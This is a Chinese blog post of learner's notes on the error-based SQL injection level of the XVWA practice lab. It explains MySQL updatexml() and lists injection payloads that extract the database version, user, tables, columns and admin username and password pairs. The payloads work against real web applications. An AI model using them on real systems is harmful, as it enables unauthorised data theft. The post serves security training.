【白帽子学习笔记15】XVWA SQL Injection

【白帽子学习笔记15】XVWA SQL Injection – Error Based

最后一门高数终于考完了,好开心啊有没有,终于可以自由自在的学技术了,最近准备把渗透的知识好好学一学。今天来总结一下我这个菜鸟在XVWA的学习之路中的第一关

0x01 题目

SQL注入,在相当程度上,应用程序安全性中最关键的问题之一,它是一种攻击技术,恶意用户可以使用配置应用程序的特权运行SQL代码。基于错误的SQL注入很容易检测和进一步利用。它用详细的后端错误消息响应用户的请求。这些错误消息是由于特殊设计的用户请求而产生的,这样会破坏应用程序中使用的SQL查询语法。

在这里插入图片描述
这道题题目说是基于报错的SQL注入,但是后来发现好像联合查询也可以用,算了我们先试试可以查询出来什么信息吧

0x02 不看代码的前提下参数注入

先来一波经典1=1

在这里插入图片描述
通过报错信息我们可以知道这个数据库是Mysql数据库

接下来我们有两种思路,一种是使用UpdateXml() MYSQL显错注入,还有一种就是使用联合查询

0x021 UpdateXml() MYSQL显错注入

想来介绍一下什么是UpdateXml()

UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
然后我们需要配合concat语法,就可以把我们想要的东西在错误信息中显示出来

比如:
http://www.XXXIII.com/a.php?id=1 and updatexml(1,concat(0x7e,database(),0x7e),1)
因为concat返回的结果肯定不符合Xpath的语法格式,肯定会报错,这样我们就可以得到数据库的信息了

比如我们构造这样的
1' and updatexml(1,concat(0x7e,(database()),0x7e),1)#
报错信息中就会显示数据库的名字了。建议还是在Burp Suite里尝试,这样更方便一点

在这里插入图片描述

0x022 updatexml() 在SQL注入中的应用

updatexml()的应用

功能语句
爆数据库版本updatexml(1,concat(0x7e,(SELECT @@version),0x7e)
链接用户updatexml(1,concat(0x7e,(SELECT user()),0x7e)
爆库updatexml(1,concat(0x7e,(SELECT database()),0x7e)
爆表updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select table_name),0x7e) FROM admin limit 0,1),0x7e)
爆字段updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select column_name),0x7e) FROM admin limit 0,1)
爆字段内容updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e)

0x03 union查询

这个题目既可以基于报错,也可以盲注,第二题就是基本一样然后把代码给改了改。

我们先进行几波尝试,然后就可以爆出数据库名。

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值